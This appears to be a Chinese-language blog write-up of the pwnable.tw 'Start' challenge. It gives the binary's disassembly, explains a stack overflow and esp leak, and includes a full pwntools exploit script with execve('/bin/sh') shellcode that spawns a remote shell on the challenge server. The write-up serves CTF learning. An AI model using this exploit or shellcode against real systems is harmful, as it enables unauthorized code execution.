目錄
  1. 1. Start
    1. 1.1. 程序分析
    2. 1.2. exp
pwnable.tw writeup

Every time a bell rings, an angel gets his wings.

Start

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
push    esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push ':FTC'
push ' eht'
push ' tra'
push 'ts s'
push 2774654Ch
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; LINUX - sys_write
xor ebx, ebx
mov dl, 3Ch
mov al, 3
int 80h ; LINUX -
add esp, 14h
retn

很明显的栈溢出,没有其他可以利用的函数和gadget,只好利用shellcode。因此需要泄露esp的地址,并且payload长度不能超过0x3c,因此需要精心构造shellcode。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import  *

p = remote('chall.pwnable.tw',10000)
# p = process("./start")
payload = 'a'*20 + p32(0x08048087)
p.recvuntil(':')
p.send(payload)
addr = u32(p.recv(4))+20
print hex(addr)
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = 'a'*20 + p32(addr) + shellcode
print hex(len(payload))
print disasm(shellcode)
p.send(payload)
p.interactive()
文章作者: kangel
文章鏈接: https://j-kangel.github.io/2019/12/25/pwnable-tw-writeup/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL